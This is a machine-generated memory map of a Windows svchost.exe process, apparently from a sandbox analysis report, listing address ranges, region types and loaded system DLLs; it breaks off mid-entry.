Region: id = 3262 start_va = 0x7ff617a0e000 end_va = 0x7ff617a0ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617a0e000" filename = "" Region: id = 3263 start_va = 0x7ff618320000 end_va = 0x7ff61832bfff entry_point = 0x7ff618320000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3264 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3270 start_va = 0x6ab8c60000 end_va = 0x6ab8c60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab8c60000" filename = "" Region: id = 3271 start_va = 0x6ab8c70000 end_va = 0x6ab8c71fff entry_point = 0x0 region_type = private name = "private_0x0000006ab8c70000" filename = "" Region: id = 3272 start_va = 0x6ab8d80000 end_va = 0x6ab8e7ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab8d80000" filename = "" Region: id = 3273 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3274 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3275 start_va = 0x6ab8ba0000 end_va = 0x6ab8baffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab8ba0000" filename = "" Region: id = 3276 start_va = 0x7ff6178e0000 end_va = 0x7ff6179dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6178e0000" filename = "" Region: id = 3277 start_va = 0x6ab8c80000 end_va = 0x6ab8cfdfff entry_point = 0x6ab8c80000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3278 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3279 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3280 start_va = 0x6ab8bb0000 end_va = 0x6ab8bb6fff entry_point = 0x0 region_type = private name = "private_0x0000006ab8bb0000" filename = "" Region: id = 3281 start_va = 0x6ab8d00000 end_va = 0x6ab8d7ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab8d00000" filename = "" Region: id = 3282 start_va = 0x7ff617a0c000 end_va = 0x7ff617a0dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617a0c000" filename = "" Region: id = 3283 start_va = 0x6ab8e80000 end_va = 0x6ab8efffff entry_point = 0x0 region_type = private name = "private_0x0000006ab8e80000" filename = "" Region: id = 3284 start_va = 0x7ff617a08000 end_va = 0x7ff617a09fff entry_point = 0x0 region_type = private name = "private_0x00007ff617a08000" filename = "" Region: id = 3285 start_va = 0x6ab8f00000 end_va = 0x6ab91d4fff entry_point = 0x6ab8f00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3286 start_va = 0x7ffd1bf20000 end_va = 0x7ffd1bf42fff entry_point = 0x7ffd1bf20000 region_type = mapped_file name = "umpnpmgr.dll" filename = "\\Windows\\System32\\umpnpmgr.dll" (normalized: "c:\\windows\\system32\\umpnpmgr.dll") Region: id = 3287 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3288 start_va = 0x6ab91e0000 end_va = 0x6ab935ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab91e0000" filename = "" Region: id = 3289 start_va = 0x6ab91e0000 end_va = 0x6ab91e6fff entry_point = 0x0 region_type = private name = "private_0x0000006ab91e0000" filename = "" Region: id = 3290 start_va = 0x6ab9350000 end_va = 0x6ab935ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab9350000" filename = "" Region: id = 3291 start_va = 0x6ab91f0000 end_va = 0x6ab926ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3292 start_va = 0x7ff617a06000 end_va = 0x7ff617a07fff entry_point = 0x0 region_type = private name = "private_0x00007ff617a06000" filename = "" Region: id = 3293 start_va = 0x7ffd1bf00000 end_va = 0x7ffd1bf15fff entry_point = 0x7ffd1bf00000 region_type = mapped_file name = "umpo.dll" filename = "\\Windows\\System32\\umpo.dll" (normalized: "c:\\windows\\system32\\umpo.dll") Region: id = 3294 start_va = 0x6ab9360000 end_va = 0x6ab94affff entry_point = 0x0 region_type = private name = "private_0x0000006ab9360000" filename = "" Region: id = 3295 start_va = 0x7ffd1bef0000 end_va = 0x7ffd1befefff entry_point = 0x7ffd1bef0000 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 3296 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3297 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3298 start_va = 0x7ffd1bee0000 end_va = 0x7ffd1beedfff entry_point = 0x7ffd1bee0000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 3299 start_va = 0x7ffd1bed0000 end_va = 0x7ffd1bedcfff entry_point = 0x7ffd1bed0000 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 3300 start_va = 0x7ffd1bea0000 end_va = 0x7ffd1bec2fff entry_point = 0x7ffd1bea0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3306 start_va = 0x6ab8e80000 end_va = 0x6ab8efffff entry_point = 0x0 region_type = private name = "private_0x0000006ab8e80000" filename = "" Region: id = 3307 start_va = 0x7ff617a08000 end_va = 0x7ff617a09fff entry_point = 0x0 region_type = private name = "private_0x00007ff617a08000" filename = "" Region: id = 3308 start_va = 0x7ffd1bde0000 end_va = 0x7ffd1be9cfff entry_point = 0x7ffd1bde0000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3330 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f740000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3349 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3350 start_va = 0x6ab91f0000 end_va = 0x6ab91f0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3351 start_va = 0x6ab91f0000 end_va = 0x6ab91f0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3352 start_va = 0x6ab91f0000 end_va = 0x6ab91f0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3353 start_va = 0x6ab91f0000 end_va = 0x6ab91f0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3354 start_va = 0x6ab91f0000 end_va = 0x6ab91f0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3355 start_va = 0x6ab91f0000 end_va = 0x6ab91f0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3356 start_va = 0x6ab91f0000 end_va = 0x6ab91f0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3357 start_va = 0x6ab91f0000 end_va = 0x6ab91f0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3358 start_va = 0x6ab91f0000 end_va = 0x6ab91f0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3359 start_va = 0x6ab91f0000 end_va = 0x6ab91f0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3360 start_va = 0x6ab91f0000 end_va = 0x6ab926ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab91f0000" filename = "" Region: id = 3361 start_va = 0x7ff617a06000 end_va = 0x7ff617a07fff entry_point = 0x0 region_type = private name = "private_0x00007ff617a06000" filename = "" Region: id = 3362 start_va = 0x6ab9270000 end_va = 0x6ab9270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab9270000" filename = "" Region: id = 3370 start_va = 0x6ab9280000 end_va = 0x6ab92fffff entry_point = 0x0 region_type = private name = "private_0x0000006ab9280000" filename = "" Region: id = 3371 start_va = 0x7ff617a04000 end_va = 0x7ff617a05fff entry_point = 0x0 region_type = private name = "private_0x00007ff617a04000" filename = "" Region: id = 3372 start_va = 0x6ab9360000 end_va = 0x6ab93dffff entry_point = 0x0 region_type = private name = "private_0x0000006ab9360000" filename = "" Region: id = 3373 start_va = 0x6ab94a0000 end_va = 0x6ab94affff entry_point = 0x0 region_type = private name = "private_0x0000006ab94a0000" filename = "" Region: id = 3374 start_va = 0x7ff6178de000 end_va = 0x7ff6178dffff entry_point = 0x0 region_type = private name = "private_0x00007ff6178de000" filename = "" Region: id = 3393 start_va = 0x6ab93e0000 end_va = 0x6ab945ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab93e0000" filename = "" Region: id = 3394 start_va = 0x7ff6178dc000 end_va = 0x7ff6178ddfff entry_point = 0x0 region_type = private name = "private_0x00007ff6178dc000" filename = "" Region: id = 3395 start_va = 0x6ab9300000 end_va = 0x6ab9300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab9300000" filename = "" Region: id = 3396 start_va = 0x6ab9310000 end_va = 0x6ab9326fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab9310000" filename = "" Region: id = 3397 start_va = 0x6ab94b0000 end_va = 0x6ab952ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab94b0000" filename = "" Region: id = 3398 start_va = 0x7ff6178da000 end_va = 0x7ff6178dbfff entry_point = 0x0 region_type = private name = "private_0x00007ff6178da000" filename = "" Region: id = 3399 start_va = 0x7ffd1bd50000 end_va = 0x7ffd1bd93fff entry_point = 0x7ffd1bd50000 region_type = mapped_file name = "bisrv.dll" filename = "\\Windows\\System32\\bisrv.dll" (normalized: "c:\\windows\\system32\\bisrv.dll") Region: id = 3415 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3418 start_va = 0x7ffd1bba0000 end_va = 0x7ffd1bbc3fff entry_point = 0x7ffd1bba0000 region_type = mapped_file name = "psmsrv.dll" filename = "\\Windows\\System32\\psmsrv.dll" (normalized: "c:\\windows\\system32\\psmsrv.dll") Region: id = 3419 start_va = 0x6ab9530000 end_va = 0x6ab96a6fff entry_point = 0x6ab9530000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3420 start_va = 0x7ffd1bc90000 end_va = 0x7ffd1bd45fff entry_point = 0x7ffd1bc90000 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 3424 start_va = 0x6ab9310000 end_va = 0x6ab9310fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab9310000" filename = "" Region: id = 3425 start_va = 0x7ffd1bb90000 end_va = 0x7ffd1bb9afff entry_point = 0x7ffd1bb90000 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 3426 start_va = 0x7ffd1bb80000 end_va = 0x7ffd1bb88fff entry_point = 0x7ffd1bb80000 region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 3427 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3428 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3429 start_va = 0x6ab9530000 end_va = 0x6ab962ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab9530000" filename = "" Region: id = 3430 start_va = 0x6ab9630000 end_va = 0x6ab96effff entry_point = 0x0 region_type = private name = "private_0x0000006ab9630000" filename = "" Region: id = 3431 start_va = 0x6ab9320000 end_va = 0x6ab9320fff entry_point = 0x0 region_type = private name = "private_0x0000006ab9320000" filename = "" Region: id = 3432 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb70000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3433 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3434 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3437 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb20000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3526 start_va = 0x7ffd1b900000 end_va = 0x7ffd1b947fff entry_point = 0x7ffd1b900000 region_type = mapped_file name = "systemeventsbrokerserver.dll" filename = "\\Windows\\System32\\SystemEventsBrokerServer.dll" (normalized: "c:\\windows\\system32\\systemeventsbrokerserver.dll") Region: id = 3664 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3665 start_va = 0x7ffd19f40000 end_va = 0x7ffd19f4afff entry_point = 0x7ffd19f40000 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 3667 start_va = 0x6ab94b0000 end_va = 0x6ab952ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab94b0000" filename = "" Region: id = 3668 start_va = 0x7ff6178da000 end_va = 0x7ff6178dbfff entry_point = 0x0 region_type = private name = "private_0x00007ff6178da000" filename = "" Region: id = 3669 start_va = 0x7ffd19f20000 end_va = 0x7ffd19f3afff entry_point = 0x7ffd19f20000 region_type = mapped_file name = "dab.dll" filename = "\\Windows\\System32\\dab.dll" (normalized: "c:\\windows\\system32\\dab.dll") Region: id = 3721 start_va = 0x6ab9330000 end_va = 0x6ab9330fff entry_point = 0x0 region_type = private name = "private_0x0000006ab9330000" filename = "" Region: id = 3722 start_va = 0x6ab9630000 end_va = 0x6ab96affff entry_point = 0x0 region_type = private name = "private_0x0000006ab9630000" filename = "" Region: id = 3723 start_va = 0x6ab96e0000 end_va = 0x6ab96effff entry_point = 0x0 region_type = private name = "private_0x0000006ab96e0000" filename = "" Region: id = 3724 start_va = 0x7ff6178d8000 end_va = 0x7ff6178d9fff entry_point = 0x0 region_type = private name = "private_0x00007ff6178d8000" filename = "" Region: id = 3725 start_va = 0x6ab96f0000 end_va = 0x6ab976ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab96f0000" filename = "" Region: id = 3726 start_va = 0x7ff6178d6000 end_va = 0x7ff6178d7fff entry_point = 0x0 region_type = private name = "private_0x00007ff6178d6000" filename = "" Region: id = 4010 start_va = 0x6ab9330000 end_va = 0x6ab9330fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab9330000" filename = "" Region: id = 4011 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4012 start_va = 0x6ab9340000 end_va = 0x6ab9340fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab9340000" filename = "" Region: id = 4104 start_va = 0x6ab93e0000 end_va = 0x6ab945ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab93e0000" filename = "" Region: id = 4105 start_va = 0x7ff6178dc000 end_va = 0x7ff6178ddfff entry_point = 0x0 region_type = private name = "private_0x00007ff6178dc000" filename = "" Region: id = 4106 start_va = 0x7ffd19f70000 end_va = 0x7ffd19f80fff entry_point = 0x7ffd19f71080 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 4107 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c581a70 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 4546 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a4bfff entry_point = 0x7ffd17a20000 region_type = mapped_file name = "appxalluserstore.dll" filename = "\\Windows\\System32\\AppxAllUserStore.dll" (normalized: "c:\\windows\\system32\\appxalluserstore.dll") Region: id = 4576 start_va = 0x7ffd195b0000 end_va = 0x7ffd195dffff entry_point = 0x7ffd195b5ca0 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 4579 start_va = 0x6ab9460000 end_va = 0x6ab9462fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab9460000" filename = "" Region: id = 4580 start_va = 0x6ab9470000 end_va = 0x6ab9470fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab9470000" filename = "" Region: id = 4581 start_va = 0x6ab9770000 end_va = 0x6ab9b69fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab9770000" filename = "" Region: id = 4768 start_va = 0x6ab9b70000 end_va = 0x6ab9beffff entry_point = 0x0 region_type = private name = "private_0x0000006ab9b70000" filename = "" Region: id = 4769 start_va = 0x7ff6178d4000 end_va = 0x7ff6178d5fff entry_point = 0x0 region_type = private name = "private_0x00007ff6178d4000" filename = "" Region: id = 4843 start_va = 0x6ab9bf0000 end_va = 0x6ab9c6ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab9bf0000" filename = "" Region: id = 4844 start_va = 0x7ff6178d2000 end_va = 0x7ff6178d3fff entry_point = 0x0 region_type = private name = "private_0x00007ff6178d2000" filename = "" Region: id = 4948 start_va = 0x6ab9c70000 end_va = 0x6ab9ceffff entry_point = 0x0 region_type = private name = "private_0x0000006ab9c70000" filename = "" Region: id = 4949 start_va = 0x7ff6178d0000 end_va = 0x7ff6178d1fff entry_point = 0x0 region_type = private name = "private_0x00007ff6178d0000" filename = "" Region: id = 5290 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5291 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5292 start_va = 0x6ab9480000 end_va = 0x6ab9480fff entry_point = 0x0 region_type = private name = "private_0x0000006ab9480000" filename = "" Region: id = 5293 start_va = 0x6ab9490000 end_va = 0x6ab9490fff entry_point = 0x0 region_type = private name = "private_0x0000006ab9490000" filename = "" Region: id = 5294 start_va = 0x6ab9cf0000 end_va = 0x6ab9e77fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab9cf0000" filename = "" Region: id = 5295 start_va = 0x6ab9e80000 end_va = 0x6aba000fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab9e80000" filename = "" Region: id = 5296 start_va = 0x6aba010000 end_va = 0x6aba0cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006aba010000" filename = "" Region: id = 5297 start_va = 0x6aba0d0000 end_va = 0x6aba1cffff entry_point = 0x0 region_type = private name = "private_0x0000006aba0d0000" filename = "" Region: id = 5298 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5299 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5300 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 5301 start_va = 0x6ab96b0000 end_va = 0x6ab96b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab96b0000" filename = "" Region: id = 5302 start_va = 0x6aba1d0000 end_va = 0x6aba24ffff entry_point = 0x0 region_type = private name = "private_0x0000006aba1d0000" filename = "" Region: id = 5303 start_va = 0x7ff6178ce000 end_va = 0x7ff6178cffff entry_point = 0x0 region_type = private name = "private_0x00007ff6178ce000" filename = "" Region: id = 5304 start_va = 0x7ffd167a0000 end_va = 0x7ffd16a4efff entry_point = 0x7ffd167a1ee4 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 5306 start_va = 0x7ffd17840000 end_va = 0x7ffd178f6fff entry_point = 0x7ffd178410a8 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\System32\\twinapi.dll" (normalized: "c:\\windows\\system32\\twinapi.dll") Region: id = 5307 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 5315 start_va = 0x6aba250000 end_va = 0x6aba2cffff entry_point = 0x0 region_type = private name = "private_0x0000006aba250000" filename = "" Region: id = 5316 start_va = 0x7ff6178cc000 end_va = 0x7ff6178cdfff entry_point = 0x0 region_type = private name = "private_0x00007ff6178cc000" filename = "" Region: id = 5699 start_va = 0x6ab96c0000 end_va = 0x6ab96c7fff entry_point = 0x6ab96c4c6c region_type = mapped_file name = "thumbnailextractionhost.exe" filename = "\\Windows\\System32\\ThumbnailExtractionHost.exe" (normalized: "c:\\windows\\system32\\thumbnailextractionhost.exe") Region: id = 5701 start_va = 0x6aba2d0000 end_va = 0x6aba3cffff entry_point = 0x0 region_type = private name = "private_0x0000006aba2d0000" filename = "" Region: id = 6587 start_va = 0x6ab96c0000 end_va = 0x6ab96c6fff entry_point = 0x0 region_type = private name = "private_0x0000006ab96c0000" filename = "" Region: id = 6727 start_va = 0x6ab96d0000 end_va = 0x6ab96d0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab96d0000" filename = "" Region: id = 6728 start_va = 0x6ab96d0000 end_va = 0x6ab96d0fff entry_point = 0x0 region_type = private name = "private_0x0000006ab96d0000" filename = "" Region: id = 6729 start_va = 0x6aba3d0000 end_va = 0x6aba3d0fff entry_point = 0x0 region_type = private name = "private_0x0000006aba3d0000" filename = "" Region: id = 6730 start_va = 0x6aba3e0000 end_va = 0x6aba3e0fff entry_point = 0x0 region_type = private name = "private_0x0000006aba3e0000" filename = "" Region: id = 6731 start_va = 0x6aba3f0000 end_va = 0x6aba3f0fff entry_point = 0x0 region_type = private name = "private_0x0000006aba3f0000" filename = "" Region: id = 6732 start_va = 0x6aba400000 end_va = 0x6aba400fff entry_point = 0x0 region_type = private name = "private_0x0000006aba400000" filename = "" Region: id = 6733 start_va = 0x6aba410000 end_va = 0x6aba410fff entry_point = 0x0 region_type = private name = "private_0x0000006aba410000" filename = "" Region: id = 6734 start_va = 0x6aba420000 end_va = 0x6aba420fff entry_point = 0x0 region_type = private name = "private_0x0000006aba420000" filename = "" Region: id = 6735 start_va = 0x6aba430000 end_va = 0x6aba430fff entry_point = 0x0 region_type = private name = "private_0x0000006aba430000" filename = "" Region: id = 6736 start_va = 0x6aba440000 end_va = 0x6aba440fff entry_point = 0x0 region_type = private name = "private_0x0000006aba440000" filename = "" Region: id = 6737 start_va = 0x6aba450000 end_va = 0x6aba450fff entry_point = 0x0 region_type = private name = "private_0x0000006aba450000" filename = "" Region: id = 6738 start_va = 0x6aba460000 end_va = 0x6aba460fff entry_point = 0x0 region_type = private name = "private_0x0000006aba460000" filename = "" Region: id = 6739 start_va = 0x6aba470000 end_va = 0x6aba470fff entry_point = 0x0 region_type = private name = "private_0x0000006aba470000" filename = "" Region: id = 6740 start_va = 0x6aba480000 end_va = 0x6aba480fff entry_point = 0x0 region_type = private name = "private_0x0000006aba480000" filename = "" Region: id = 6741 start_va = 0x6aba490000 end_va = 0x6aba490fff entry_point = 0x0 region_type = private name = "private_0x0000006aba490000" filename = "" Region: id = 6742 start_va = 0x6aba4a0000 end_va = 0x6aba4a0fff entry_point = 0x0 region_type = private name = "private_0x0000006aba4a0000" filename = "" Region: id = 6743 start_va = 0x6aba4b0000 end_va = 0x6aba4b0fff entry_point = 0x0 region_type = private name = "private_0x0000006aba4b0000" filename = "" Region: id = 6744 start_va = 0x6aba4c0000 end_va = 0x6aba4c0fff entry_point = 0x0 region_type = private name = "private_0x0000006aba4c0000" filename = "" Region: id = 6745 start_va = 0x6aba4d0000 end_va = 0x6aba4d0fff entry_point = 0x0 region_type = private name = "private_0x0000006aba4d0000" filename = "" Region: id = 6746 start_va = 0x6aba4e0000 end_va = 0x6aba4e0fff entry_point = 0x0 region_type = private name = "private_0x0000006aba4e0000" filename = "" Region: id = 6747 start_va = 0x6aba4f0000 end_va = 0x6aba4f0fff entry_point = 0x0 region_type = private name = "private_0x0000006aba4f0000" filename = "" Region: id = 6748 start_va = 0x6aba500000 end_va = 0x6aba500fff entry_point = 0x0 region_type = private name = "private_0x0000006aba500000" filename = "" Region: id = 6749 start_va = 0x6aba510000 end_va = 0x6aba510fff entry_point = 0x0 region_type = private name = "private_0x0000006aba510000" filename = "" Region: id = 6750 start_va = 0x6aba520000 end_va = 0x6aba520fff entry_point = 0x0 region_type = private name = "private_0x0000006aba520000" filename = "" Region: id = 6751 start_va = 0x6aba530000 end_va = 0x6aba530fff entry_point = 0x0 region_type = private name = "private_0x0000006aba530000" filename = "" Region: id = 6752 start_va = 0x6aba540000 end_va = 0x6aba540fff entry_point = 0x0 region_type = private name = "private_0x0000006aba540000" filename = "" Region: id = 6753 start_va = 0x6aba550000 end_va = 0x6aba550fff entry_point = 0x0 region_type = private name = "private_0x0000006aba550000" filename = "" Region: id = 6754 start_va = 0x6aba560000 end_va = 0x6aba560fff entry_point = 0x0 region_type = private name = "private_0x0000006aba560000" filename = "" Region: id = 6755 start_va = 0x6aba570000 end_va = 0x6aba570fff entry_point = 0x0 region_type = private name = "private_0x0000006aba570000" filename = "" Region: id = 6756 